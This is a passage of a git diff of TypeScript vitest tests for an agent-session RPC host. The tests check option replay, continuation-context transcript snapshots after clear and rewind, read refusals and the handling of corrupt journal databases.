rig.host.journalSnapshot(SESSION)).items) - ).not.toBe('working') - }) -}) - -describe('every close withdraws what is queued (P2-29)', () => { - it.each([ - ['the close RPC', async () => void (await call('agentSession.close', { sessionId: SESSION }))], - ['the runtime chat close', async () => void (await closeStructuredAgentSessionChild(SESSION))], - [ - 'a discarded worker', - () => - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the discard reads only this runtime member. - discardStructuredWorkerSession(SESSION, { - retireStructuredAgentSessionTabFromSnapshot: () => undefined - } as never) - ] - ])('%s rejects a message accepted before any start, and starts nothing', async (_, close) => { - await restingChat() - const { loop } = rig.host.collaboratorsForTests().conversationDelivery - vi.spyOn(loop, 'wake').mockImplementation(() => Promise.resolve()) - const reader: unknown[] = [] - await rig.host.subscribe({ - id: 'reader', - sessionId: SESSION, - emit: (event) => reader.push(event) - }) - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - expect((await rig.host.send(CALLER, restTestSend('closed before it went', fence))).ok).toBe( - true - ) - - await close() - // A close's rejection is a sentence with its fact beside it, never a marker. - await vi.waitFor(() => - expect(JSON.stringify(reader)).toContain( - '"reason":"The chat closed before this message was sent.","submittedAt"' - ) - ) - expect(JSON.stringify(reader)).toContain('"rejection":{"kind":"chatClosed"}') - expect(rig.host.hasSession(SESSION)).toBe(false) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - }) -}) - -it('hands off the reduced saved chat after clear and rewind, budgets only the starter and overwrites its file', async () => { +it('commits a legacy no-choice answer before reply and replays it after upgrade and a real pick', async () => { await restingChat() - await rig.host.journalSnapshot(SESSION) - let journal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - const receipt = { write: () => {}, committed: () => {} } - let ordinal = 100 - const append = (text: string | AgentJournalItemBody, itemOrdinal = ordinal++) => - journal.appendItem( - { provider: 'codex', threadId: 'saved-thread', turnId: 'saved-turn', ordinal: itemOrdinal }, - typeof text === 'string' ? hostTestMessage(text) : text, - { - fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - await append('PRE_CLEAR_SECRET') - await journal.context.clear( - { operationId: 'pr-31782-clear', afterFence: fence, clearedAt: rig.clock.now }, - receipt + const record = fixture.rig.store.getRecord(SESSION)! + await fixture.rig.host.readOptions(SESSION) + await fixture.rig.store.replaceSessionOptions({ + sessionId: SESSION, + fence: record.lease.runtimeFence, + options: { effort: 'high' }, + now: fixture.rig.clock.now + }) + const replace = vi.spyOn(fixture.rig.store, 'replaceSessionOptions') + fixture.rig.sink.publish.mockClear() + const params = optionRequest('') + const inert = { key: 'model', value: '', options: {} } + expect((await call('agentSession.setOption', params))[0]).toMatchObject({ + result: { ok: true, replayed: false, value: inert } + }) + expect(replace).not.toHaveBeenCalled() + expect(fixture.rig.sink.publish).not.toHaveBeenCalled() + expect(fixture.rig.store.getRecord(SESSION)?.options).toEqual({ effort: 'high' }) + expect( + fixture.rig.store.getOperationRow('device-1', params.envelope.clientOperationId)?.outcome + ).toMatchObject({ optionResult: { version: 1, ...inert } }) + const warm = commitStructuredAgentSessionOptionValues( + createStructuredAgentSessionOptionState('codex', CODEX_SESSION_OPTION_CATALOG), + { model: 'gpt-saved', effort: 'high' } ) - await append('EARLY_SAVED_MARKER') - for (let index = 0; index < 205; index++) { - await append(`saved ${index} ${'context '.repeat(60)}`) - } - const floor = journal.cursor() - await append('DISCARDED_REWIND_SECRET') - await journal.context.rewind(floor, fence, [], () => receipt) - const resolution = ( - state: AgentJournalResolution['state'], - selectedOptionId: string | null = null - ): AgentJournalResolution => ({ state, selectedOptionId, resolvedBy: null, resolvedAt: null }) - const question = (name: string, answer?: string): AgentJournalQuestionItem => ({ - kind: 'question', - question: name, - options: [], - freeTextQuestionId: 'input', - freeTextInput: { allowEmpty: true }, - resolution: { - ...resolution('resolved'), - ...(answer !== undefined - ? { answers: [{ questionId: 'input', optionIds: [], other: answer }] } - : {}) + expect(structuredAgentSessionOptionPicks(warm, inert.options)).toEqual([]) + const choice = await call('agentSession.setOption', optionRequest('gpt-new')) + expect(choice[0]).toMatchObject({ + result: { + ok: true, + value: { value: 'gpt-new', options: { model: 'gpt-new', effort: 'high' } } } }) - for (const [name, value] of [ - ['deployment', ' deploy to staging '], - ['explicit empty', ''], - ['whitespace', ' \t'] - ]) { - await append(question(name, value)) - } - await append(question('unreadable')) - await append({ ...question('cancelled ask'), resolution: resolution('cancelled') }) - await append({ - ...question('legacy answer'), - resolution: resolution('resolved', 'input:legacy%20deployment') + expect( + structuredAgentSessionOptionPicks(warm, { model: 'gpt-new', effort: 'high' }) + ).toHaveLength(2) + expect((await call('agentSession.setOption', optionRequest('')))[0]).toMatchObject({ + result: { ok: true, replayed: false, value: inert } }) - await append({ - kind: 'question', - question: 'Release choices', - options: [], - questions: [ - { - id: 'regions', - header: 'Region group', - question: 'Which regions?', - multiSelect: true, - options: [ - { id: 'east', label: 'East', description: 'Primary region' }, - { id: 'west', label: 'West' } + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + expect( + ( + await call('agentSession.setOption', params, { + ...CLIENT, + clientCapabilities: [ + ...CLIENT.clientCapabilities, + AGENT_SESSION_OPTIONAL_MODEL_CLIENT_CAPABILITY ] + }) + )[0] + ).toMatchObject({ result: { ok: true, replayed: true, value: inert } }) + expect(fixture.rig.store.getRecord(SESSION)?.options).toEqual({ + model: 'gpt-new', + effort: 'high' + }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.adapter.readOptions).not.toHaveBeenCalled() +}) + +it('preserves a v1.4.223 live ACP acceptance without reclassifying it as no-choice', async () => { + await restingChat() + // Captured after the old live adapter performed an empty request and reopened its database. + const row = { + callerKey: 'device-1', + operationId: '1800000000000-0000000000000000000000000000ac01', + fingerprint: 'df56281bb29dcb9d435ba37cd35c0704edcfad8e4cd94c9d85ebf8efe78d8935', + operationTimestamp: 1800000000000, + recordedAt: 1800000000000, + expiresAt: 1800086700000, + outcome: { status: 'succeeded' as const, sessionId: 'session-alpha-1' } + } + const envelope = { + sessionId: 'session-alpha-1', + clientOperationId: '1800000000000-0000000000000000000000000000ac01', + expectedRuntimeFence: 7, + payloadFingerprint: 'df56281bb29dcb9d435ba37cd35c0704edcfad8e4cd94c9d85ebf8efe78d8935' + } + const sessionId = envelope.sessionId + await editPersistedTestAgentSessionStore(fixture.rig.root, (state) => { + state.records[sessionId] = { + ...state.records[SESSION], + sessionId, + lease: { + ...state.records[SESSION].lease, + sessionId, + runtimeFence: envelope.expectedRuntimeFence }, - { - id: 'details', - question: 'Release detail?', - multiSelect: true, - options: [{ id: 'known', label: 'Known' }], - freeTextQuestionId: 'details' - } - ], - resolution: { - ...resolution('resolved'), - answers: [ - { questionId: 'regions', optionIds: ['east', 'west'] }, - { questionId: 'details', optionIds: ['known', 'missing'], other: 'partial text' } - ] + providerHandleChain: state.records[SESSION].providerHandleChain.map((link) => ({ + ...link, + mintedAtFence: envelope.expectedRuntimeFence + })), + options: { model: 'historical-acp-M' } } + state.operations[agentSessionOperationKey(row.callerKey, row.operationId)] = row }) - for (const choice of ['yes', 'no']) { - await append({ - kind: 'approval', - title: `Confirm ${choice}`, - detail: 'Deploy?', - options: [ - { id: 'yes', label: 'Yes' }, - { id: 'no', label: 'No' } - ], - resolution: resolution('resolved', choice) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + const params = { key: 'model', value: '', envelope } + expect((await call('agentSession.setOption', params))[0]).toMatchObject({ + result: { ok: true, replayed: true, value: { options: { model: 'historical-acp-M' } } } + }) + await call('agentSession.setOption', optionRequest('later-model', sessionId)) + expect((await call('agentSession.setOption', params))[0]).toMatchObject({ + result: { ok: true, replayed: true, value: { options: { model: 'later-model' } } } + }) + expect(fixture.rig.store.getOperationRow(row.callerKey, row.operationId)?.outcome).toEqual( + row.outcome + ) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.adapter.readOptions).not.toHaveBeenCalled() +}) + +it('keeps unreadable accepted results spent and modern empty writes on their ordinary path', async () => { + await restingChat() + const params = optionRequest('') + await call('agentSession.setOption', params) + for (const optionResult of [null, { version: 2, key: 'model', value: '', options: {} }]) { + await editPersistedTestAgentSessionStore(fixture.rig.root, (state) => { + const row = Object.values(state.operations).find( + (row) => row.operationId === params.envelope.clientOperationId + )! + row.outcome = { status: 'succeeded', sessionId: SESSION, optionResult } }) - } - await append({ - kind: 'approval', - title: 'Review plan', - description: 'Saved description', - decisionReason: 'Saved reason', - matchedAskRule: { source: 'workspace', toolName: 'Write', ruleContent: 'Saved ask rule' }, - blockedPath: '/work/target', - detail: 'Clipped detail', - subject: { kind: 'plan', text: 'RETAINED_PLAN_MARKER', filePath: '/work/plan.md' }, - options: [ - { id: 'plan', label: 'Approve plan' }, - { id: 'keep', label: 'Keep planning' } - ], - resolution: resolution('resolved', 'keep') - }) - const editor = piRpcDialogPresentation({ - id: 'editor', - method: 'editor', - title: 'Edit release notes', - prefill: 'RETAINED_EDITOR_MARKER\nHold deployment', - placeholder: 'Keep migration details' - }) - if (editor?.body.kind !== 'question') { - throw new Error('Pi editor missing') - } - const editorOrdinal = ordinal++ - await append(editor.body, editorOrdinal) - const editorParams = { - sessionId: SESSION, - workspaceId: 'workspace-1', - expectedCursor: { epoch: journal.cursor().epoch, sequence: 0 } - } - const pendingEditor = await rig.host.continuationContext(editorParams) - if (pendingEditor.status !== 'current' || !pendingEditor.transcriptPath) { - throw new Error('Pending editor snapshot missing') - } - for (const text of [ - await readFile(pendingEditor.transcriptPath, 'utf8'), - pendingEditor.capturedText ?? '' - ]) { - expect(text).toContain( - 'Prompt state: pending\nSaved prompt: {"kind":"question","question":"Edit release notes"' - ) - expect(text).toContain('"initialValue":"RETAINED_EDITOR_MARKER\\nHold deployment"') - expect(text).toContain('"placeholder":"Keep migration details"') - } - const answers = [{ questionId: 'editor', optionIds: [], other: 'REPLACEMENT_EDITOR_ANSWER' }] - const selectedOptionId = legacyAgentSessionSelectedOptionId(editor.body, answers) - await append( - { ...editor.body, resolution: { ...resolution('resolved', selectedOptionId), answers } }, - editorOrdinal - ) - await rig.restart() - setStructuredAgentSessionHost(rig.host) - const snapshot = await rig.host.journalSnapshot(SESSION) - journal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal - await append({ ...question('pending ask'), resolution: resolution('pending') }) - const params = { - sessionId: SESSION, - workspaceId: 'workspace-1', - expectedCursor: { epoch: snapshot.cursor.epoch, sequence: 0 } - } - await call('agentSession.options', { sessionId: SESSION }) - const gate = Promise.withResolvers() - const write = actualFiles.writeFile - const writing = vi.spyOn(fileOperations, 'writeFile').mockImplementationOnce(async (...args) => { - await gate.promise - return write(...args) - }) - const pending = rig.host.continuationContext(params) - await vi.waitFor(() => expect(writing).toHaveBeenCalledOnce()) - const currentJournal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal - await currentJournal.appendItem( - { provider: 'orca', clientMessageId: 'pr-31782-late' }, - hostTestMessage('LATER_SAVED_MARKER'), - { - fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ) - gate.resolve() - const first = await pending - if (first.status !== 'current' || !first.transcriptPath) { - throw new Error('Snapshot missing') - } - const path = first.transcriptPath - try { - const file = await readFile(path, 'utf8') - expect(file).toContain('EARLY_SAVED_MARKER') - expect(file).not.toMatch(/PRE_CLEAR_SECRET|DISCARDED_REWIND_SECRET|LATER_SAVED_MARKER/) - expect(first.capturedText?.length).toBeLessThanOrEqual(36_000) - expect(first.capturedText).toContain('Earlier saved chat messages omitted') - expect(first.capturedText).not.toContain('EARLY_SAVED_MARKER') - for (const text of [file, first.capturedText ?? '']) { - const prompts: unknown[] = [...text.matchAll(/^Saved prompt: (.+)$/gm)].map((match) => - JSON.parse(match[1]!) - ) - for (const [name, value] of [ - ['deployment', ' deploy to staging '], - ['explicit empty', ''], - ['whitespace', ' \t'] - ]) { - expect(prompts).toContainEqual(expect.objectContaining(question(name, value))) - } - expect(text).toMatch( - /"question":"unreadable"[^\n]*\nQuestion "input"\nSubmitted answer: unavailable/ - ) - expect(text).toMatch(/Prompt state: pending\nSaved prompt: .*"question":"pending ask"/) - expect(text).toMatch(/Prompt state: cancelled\nSaved prompt: .*"question":"cancelled ask"/) - const legacy = text.split('\n\n').find((row) => row.includes('"question":"legacy answer"'))! - expect(legacy).toContain('"selectedOptionId":"input:legacy%20deployment"') - expect(legacy.split('Legacy free text: "legacy deployment"')).toHaveLength(2) - expect(text).toContain( - 'Question "regions" (Region group)\nSelected choice: East\nSelected choice: West' - ) - expect(text).toContain('"question":"Which regions?"') - expect(text).toContain('"label":"East","description":"Primary region"') - expect(text).toContain( - 'Question "details"\nSelected choice: Known\nSelected choice: unavailable\nSubmitted free text: resolution.answers[1].other' - ) - expect(text).toContain('"other":"partial text"') - expect(text).toMatch(/Confirm yes[\s\S]*Selected choice: Yes/) - expect(text).toMatch(/Confirm no[\s\S]*Selected choice: No/) - expect(text).toContain( - '"subject":{"kind":"plan","text":"RETAINED_PLAN_MARKER","filePath":"/work/plan.md"}' - ) - expect(text).toContain( - '"matchedAskRule":{"source":"workspace","toolName":"Write","ruleContent":"Saved ask rule"}' - ) - expect(text).toContain('Selected choice: Keep planning') - const row = text - .split('\n\n') - .find((entry) => entry.includes('"question":"Edit release notes"'))! - expect(row).toContain('Prompt state: resolved') - expect(row).toContain(JSON.stringify(editor.body.freeTextInput)) - expect(row).toContain(JSON.stringify(answers)) - expect(row).toContain(`"selectedOptionId":${JSON.stringify(selectedOptionId)}`) - expect(row.split('\n').slice(2).join('\n')).toBe( - 'Question "editor"\nSubmitted free text: resolution.answers[0].other' - ) - } - expect(await call('agentSession.continuationContext', params)).toMatchObject([ - { - ok: true, - result: { - status: 'current', - transcriptPath: path, - capturedText: expect.stringContaining('LATER_SAVED_MARKER') - } - } - ]) - expect(await readFile(path, 'utf8')).toContain('LATER_SAVED_MARKER') - expect(await rig.host.continuationContext({ ...params, workspaceId: 'other' })).toEqual({ - status: 'superseded' + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + expect((await call('agentSession.setOption', params))[0]).toMatchObject({ + result: { ok: false, refusal: { details: { reason: 'resultLost' } } } }) expect( - await rig.host.continuationContext({ - ...params, - expectedCursor: { epoch: 'other', sequence: 0 } - }) - ).toEqual({ status: 'superseded' }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - writing.mockRejectedValueOnce(new Error('disk unavailable')) - expect(await call('agentSession.continuationContext', params)).toMatchObject([{ ok: false }]) - } finally { - await rm(contextSnapshots.agentSessionContextSnapshotRoot(rig.root), { - recursive: true, - force: true + fixture.rig.store.getOperationRow('device-1', params.envelope.clientOperationId)?.outcome + ).toMatchObject({ optionResult }) + } + const modern = { + ...CLIENT, + clientCapabilities: [ + ...CLIENT.clientCapabilities, + AGENT_SESSION_OPTIONAL_MODEL_CLIENT_CAPABILITY + ] + } + expect((await call('agentSession.setOption', optionRequest(''), modern))[0]).toMatchObject({ + ok: false + }) + expect(fixture.rig.store.getRecord(SESSION)?.options).toEqual({ + model: 'gpt-saved', + effort: 'high' + }) +}) + +it('reads, subscribes and answers everything without starting an agent', async () => { + await restingChat() + expect(fixture.rig.host.hasSession(SESSION)).toBe(false) + + const [history] = await call('agentSession.history', { sessionId: SESSION, direction: 'tail' }) + const frames = await call('agentSession.subscribe', { sessionId: SESSION }) + const [options] = await call('agentSession.options', { sessionId: SESSION }) + const [commands] = await call('agentSession.commands', { sessionId: SESSION }) + const [outline] = await call('agentSession.conversationOutline', { sessionId: SESSION }) + const [status] = await call('agentSession.handoffStatus', { sessionId: SESSION }) + const [held] = await call('agentSession.hold', { sessionId: SESSION, holderId: 'pane' }) + + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(history).toMatchObject({ ok: true, result: { ok: true } }) + const snapshot = frames.find((frame) => frame.ok && 'result' in frame) + expect(snapshot).toMatchObject({ result: { type: 'snapshot', commands: null } }) + expect(options).toMatchObject({ + ok: true, + result: { current: { model: 'gpt-saved', effort: 'high' } } + }) + // Absent, never an empty list: the composer keeps its own menu. + expect(commands).toMatchObject({ ok: true, result: {} }) + expect(commands?.ok && 'result' in commands && commands.result).not.toHaveProperty('commands', []) + expect(outline).toMatchObject({ ok: true }) + expect(status).toMatchObject({ ok: true }) + expect(held).toMatchObject({ ok: true, result: { held: true } }) +}) + +it('answers the owner check from the record without opening the chat', async () => { + await restingChat() + + const [status] = await call('agentSession.handoffStatus', { sessionId: SESSION }) + + expect(status).toMatchObject({ ok: true, result: { owner: expect.any(String) } }) + expect(fixture.rig.host.hasSession(SESSION)).toBe(false) +}) + +it('starts the agent on the first send (P2-01)', async () => { + await restingChat() + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + const sent = await fixture.rig.host.send(CALLER, restTestSend('wake up', fence)) + if (!sent.ok) { + throw new Error(`send refused: ${sent.refusal.code}`) + } + // Awaits the provider's answer itself rather than polling for it, however slow the start. + await fixture.rig.host.waitForSendSettlement(SESSION, sent.value.clientMessageId) + expect(fixture.rig.adapter.acquire).toHaveBeenCalledOnce() + expect(fixture.rig.adapter.dispatch).toHaveBeenCalledOnce() +}) + +it('opens a closed conversation once, however many readers arrive together (P2-02)', async () => { + const attached = await fixture.rig.host.attach(CALLER, hostTestAttachParams(null)) + expect(attached.ok).toBe(true) + fixture.rig.adapter.acquire.mock.calls + .at(-1)?.[0] + .events?.appendItem( + { provider: 'codex', threadId: REST_TEST_THREAD, turnId: 'turn-1', ordinal: 1 }, + hostTestMessage('from the provider'), + { turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await fixture.rig.host.flushStreamedEvents(SESSION) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + fixture.rig.adapter.acquire.mockClear() + const open = vi.spyOn(fixture.rig.host.collaboratorsForTests().conversationDelivery, 'open') + await Promise.all([ + ...Array.from({ length: 5 }, () => + call('agentSession.history', { sessionId: SESSION, direction: 'tail' }) + ), + call('agentSession.subscribe', { sessionId: SESSION }) + ]) + const openedJournals = new Set(await Promise.all(open.mock.results.map((result) => result.value))) + expect(openedJournals.size).toBe(1) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) + +it('opens nothing once quit began, for a read that was already waiting on the lock', async () => { + await restingChat() + // The host's per-session queue, held so the read waits behind it. + const { serialize, lifetime } = fixture.rig.host.collaboratorsForTests() + let release = (): void => undefined + const held = new Promise((started) => { + void serialize(SESSION, () => { + started() + return new Promise((resolve) => (release = resolve)) }) + }) + await held + const read = fixture.rig.host.history({ sessionId: SESSION, direction: 'tail' }) + + // Disposed as quit's first teardown step does. + lifetime.dispose() + release() + + await expect(read).rejects.toThrow() + expect(fixture.rig.host.hasSession(SESSION)).toBe(false) +}) + +it('refuses a read it cannot open with the reason, under the same code and message', async () => { + const [missing] = await call('agentSession.history', { + sessionId: 'session-never-created', + direction: 'tail' + }) + expect(missing).toMatchObject({ + ok: false, + error: { + code: 'agent_session_identity_required', + message: 'agent_session_identity_required', + data: { + refusal: { + code: 'agent_session_identity_required', + details: { reason: 'recordMissing' } + } + } + } + }) +}) + +it('refuses a read whose journal will not open with the classified reason, never the storage text', async () => { + await restingChat() + const open = vi.spyOn(fixture.rig.host.collaboratorsForTests().conversationDelivery, 'open') + vi.spyOn(console, 'warn').mockImplementation(() => undefined) + const storagePath = '/Users/someone/.orca/journals/session-1/journal.sqlite' + const failWith = (error: Error): void => { + open.mockRejectedValue(error) + } + const failures = async (): Promise => + [ + ...(await call('agentSession.history', { sessionId: SESSION, direction: 'tail' })), + ...(await call('agentSession.subscribe', { sessionId: SESSION })), + ...(await call('agentSession.options', { sessionId: SESSION })) + ].filter((reply) => !reply.ok) + + failWith( + Object.assign(new Error(`file is not a database: ${storagePath}`), { + code: 'ERR_SQLITE_ERROR', + errcode: 26 + }) + ) + const corrupt = await failures() + failWith(Object.assign(new Error(`EACCES: permission denied, open '${storagePath}'`), {})) + const unavailable = await failures() + + for (const [replies, reason] of [ + [corrupt, 'journalCorrupt'], + [unavailable, 'journalUnavailable'] + ] as const) { + expect(replies).toHaveLength(3) + for (const reply of replies) { + expect(reply).toMatchObject({ + ok: false, + error: { + // Released clients still read this refusal code from the message, not passthrough code. + code: 'runtime_error', + message: 'agent_session_journal_unreadable', + data: { refusal: { code: 'agent_session_journal_unreadable', details: { reason } } } + } + }) + expect(JSON.stringify(reply)).not.toContain(storagePath) + } } }) -it('hands off a readable saved conversation without granting its invalid execution lease authority', async () => { +it('logs a reader reconnecting to a journal that will not open once per failure', async () => { await restingChat() - const { cursor } = await rig.host.journalSnapshot(SESSION) - await rig.host.flushAllStreamedEvents() - await editPersistedTestAgentSessionStore(rig.root, (persisted) => { - Object.assign(persisted.records[SESSION].lease, { minimumNextFence: 'bad' }) - }) - await rig.restart() - setStructuredAgentSessionHost(rig.host) - expect(rig.store.getRecord(SESSION)).toBeNull() - expect(rig.store.getConversation(SESSION)?.location.workspaceId).toBe('workspace-1') - const saved = (await readPersistedTestAgentSessionStore(rig.root)).records[SESSION] - const params = { sessionId: SESSION, workspaceId: 'workspace-1', expectedCursor: cursor } - const result = await rig.host.continuationContext(params) - expect(result).toMatchObject({ - status: 'current', - capturedText: expect.stringContaining('hello') - }) - if (result.status !== 'current' || !result.transcriptPath) { - throw new Error('Saved conversation snapshot missing') + const open = vi.spyOn(fixture.rig.host.collaboratorsForTests().conversationDelivery, 'open') + const warn = vi.spyOn(console, 'warn').mockImplementation(() => undefined) + const logged = (): unknown[] => + warn.mock.calls + .filter( + ([line]) => + line === '[agent-session] open-for-read: opening the conversation for a read failed' + ) + .map(([, fields]) => fields?.error) + const reconnect = async (): Promise => [ + ...(await call('agentSession.subscribe', { sessionId: SESSION })), + ...(await call('agentSession.history', { sessionId: SESSION, direction: 'tail' })) + ] + const denied = new Error('EACCES: permission denied') + const exhausted = new Error('EMFILE: too many open files') + + open.mockRejectedValue(denied) + for (let attempt = 0; attempt < 4; attempt += 1) { + // Every attempt is still refused with its reason; only the log is quiet. + expect((await reconnect()).filter((reply) => !reply.ok)).toHaveLength(2) } - expect(await readFile(result.transcriptPath, 'utf8')).toContain('hello') - expect(await call('agentSession.continuationContext', params)).toMatchObject([ - { ok: true, result } - ]) - for (const stale of [ - { ...params, workspaceId: 'other' }, - { ...params, expectedCursor: { ...cursor, epoch: 'other' } }, - { ...params, expectedCursor: { ...cursor, sequence: cursor.sequence + 1 } } - ]) { - expect(await rig.host.continuationContext(stale)).toEqual({ status: 'superseded' }) - } - expect(rig.store.getRecord(SESSION)).toBeNull() - expect((await readPersistedTestAgentSessionStore(rig.root)).records[SESSION]).toEqual(saved) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(rig.adapter.dispatch).not.toHaveBeenCalled() + expect(logged()).toEqual([denied]) + open.mockRejectedValue(exhausted) + await reconnect() + await reconnect() + expect(logged()).toEqual([denied, exhausted]) +}) + +it('refuses a damaged journal as unloadable at subscribe and send, and keeps its rows (P2-03)', async () => { + await foundRestTestChat(fixture.rig) + await fixture.rig.host.flushAllStreamedEvents() + openTestJournalHostDatabase(fixture.rig.root) + .db.prepare( + "UPDATE journal_outcomes SET value_json = '}{' WHERE generation = (SELECT generation FROM journal_outcome_epochs WHERE session_id = ?) AND seq = 2" + ) + .run(SESSION) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + + const frames = await call('agentSession.subscribe', { sessionId: SESSION }) + expect(frames.find((frame) => !frame.ok)).toMatchObject({ + error: { + data: { + refusal: { + code: 'agent_session_journal_unreadable', + details: { reason: 'journalCorrupt' } + } + } + } + }) + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + expect( + await fixture.rig.host.send(CALLER, restTestSend('after the damage', fence)) + ).toMatchObject({ + ok: false, + refusal: { code: 'agent_session_journal_unreadable', details: { reason: 'journalCorrupt' } } + }) + expect( + openTestJournalHostDatabase(fixture.rig.root) + .db.prepare( + 'SELECT value_json FROM journal_outcomes WHERE generation = (SELECT generation FROM journal_outcome_epochs WHERE session_id = ?) AND seq = 2 LIMIT 1' + ) + .get(SESSION)?.value_json + ).toBe('}{') }) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-continuation-context.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-continuation-context.test.ts new file mode 100644 index 00000000000..8b21b923c9e --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-continuation-context.test.ts @@ -0,0 +1,405 @@ +import * as fileOperations from 'node:fs/promises' +import { readFile, rm } from 'node:fs/promises' +import * as contextSnapshots from '../../../native-chat/agent-session-context-snapshots' +import { piRpcDialogPresentation } from '../../../pi/rpc-extension-dialogs' +import { legacyAgentSessionSelectedOptionId } from '../../../../shared/agent-session-question-answer' +import type { + AgentJournalItemBody, + AgentJournalResolution, + AgentJournalQuestionItem +} from '../../../../shared/agent-session-journal-types' +import '../unused-default-rpc-methods.test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../shared/agent-session-journal-types' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../shared/protocol-version' +import { hostTestMessage } from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + createRestTestRig, + foundRestTestChat, + REST_TEST_SESSION as SESSION, + type RestTestRig +} from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { + editPersistedTestAgentSessionStore, + readPersistedTestAgentSessionStore +} from '../../agent-session-record-store-test-harness' +import { OrcaRuntimeService } from '../../orca-runtime' +import type { RpcResponse } from '../core' +import { RpcDispatcher } from '../dispatcher' +import type { RpcDispatchStreamingOptions } from '../dispatcher-stream-options' +import { STRUCTURED_AGENT_SESSION_METHODS } from './structured-agent-session' + +vi.mock('node:fs/promises', { spy: true }) +const actualFiles = await vi.importActual('node:fs/promises') + +const CLIENT = { + clientId: 'device-1', + clientKind: 'runtime' as const, + clientCapabilities: [STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY], + connectionId: 'connection-1' +} + +let rig: RestTestRig +let dispatcher: RpcDispatcher +let requests = 0 + +async function call( + method: string, + params: unknown, + client: RpcDispatchStreamingOptions = CLIENT +): Promise { + const replies: RpcResponse[] = [] + requests += 1 + await dispatcher.dispatchStreaming( + { id: `request-${requests}`, authToken: 'token', method, params }, + (raw) => replies.push(JSON.parse(raw) as RpcResponse), + client + ) + return replies +} + +/** A chat that once ran, reopened by a fresh host: nothing of it is in memory. */ +async function restingChat(): Promise { + await foundRestTestChat(rig) + await rig.store.replaceSessionOptions({ + sessionId: SESSION, + fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, + options: { model: 'gpt-saved', effort: 'high' }, + now: rig.clock.now + }) + await rig.restart() + setStructuredAgentSessionHost(rig.host) + rig.adapter.acquire.mockClear() + rig.adapter.dispatch.mockClear() + rig.adapter.readOptions.mockClear() +} + +beforeEach(async () => { + requests = 0 + rig = await createRestTestRig({ idleSweep: { intervalMs: 3_600_000 } }) + setStructuredAgentSessionHost(rig.host) + const runtime = new OrcaRuntimeService() + dispatcher = new RpcDispatcher({ runtime, methods: STRUCTURED_AGENT_SESSION_METHODS }) +}) + +afterEach(async () => { + vi.restoreAllMocks() + setStructuredAgentSessionHost(null) + await rig.dispose() + await actualFiles.rm(contextSnapshots.agentSessionContextSnapshotRoot(rig.root), { + recursive: true, + force: true + }) +}) + +it('hands off the reduced saved chat after clear and rewind, budgets only the starter and overwrites its file', async () => { + await restingChat() + await rig.host.journalSnapshot(SESSION) + let journal = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence + const receipt = { write: () => {}, committed: () => {} } + let ordinal = 100 + const append = (text: string | AgentJournalItemBody, itemOrdinal = ordinal++) => + journal.appendItem( + { provider: 'codex', threadId: 'saved-thread', turnId: 'saved-turn', ordinal: itemOrdinal }, + typeof text === 'string' ? hostTestMessage(text) : text, + { + fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + await append('PRE_CLEAR_SECRET') + await journal.context.clear( + { operationId: 'pr-31782-clear', afterFence: fence, clearedAt: rig.clock.now }, + receipt + ) + await append('EARLY_SAVED_MARKER') + for (let index = 0; index < 205; index++) { + await append(`saved ${index} ${'context '.repeat(60)}`) + } + const floor = journal.cursor() + await append('DISCARDED_REWIND_SECRET') + await journal.context.rewind(floor, fence, [], () => receipt) + const resolution = ( + state: AgentJournalResolution['state'], + selectedOptionId: string | null = null + ): AgentJournalResolution => ({ state, selectedOptionId, resolvedBy: null, resolvedAt: null }) + const question = (name: string, answer?: string): AgentJournalQuestionItem => ({ + kind: 'question', + question: name, + options: [], + freeTextQuestionId: 'input', + freeTextInput: { allowEmpty: true }, + resolution: { + ...resolution('resolved'), + ...(answer !== undefined + ? { answers: [{ questionId: 'input', optionIds: [], other: answer }] } + : {}) + } + }) + for (const [name, value] of [ + ['deployment', ' deploy to staging '], + ['explicit empty', ''], + ['whitespace', ' \t'] + ]) { + await append(question(name, value)) + } + await append(question('unreadable')) + await append({ ...question('cancelled ask'), resolution: resolution('cancelled') }) + await append({ + ...question('legacy answer'), + resolution: resolution('resolved', 'input:legacy%20deployment') + }) + await append({ + kind: 'question', + question: 'Release choices', + options: [], + questions: [ + { + id: 'regions', + header: 'Region group', + question: 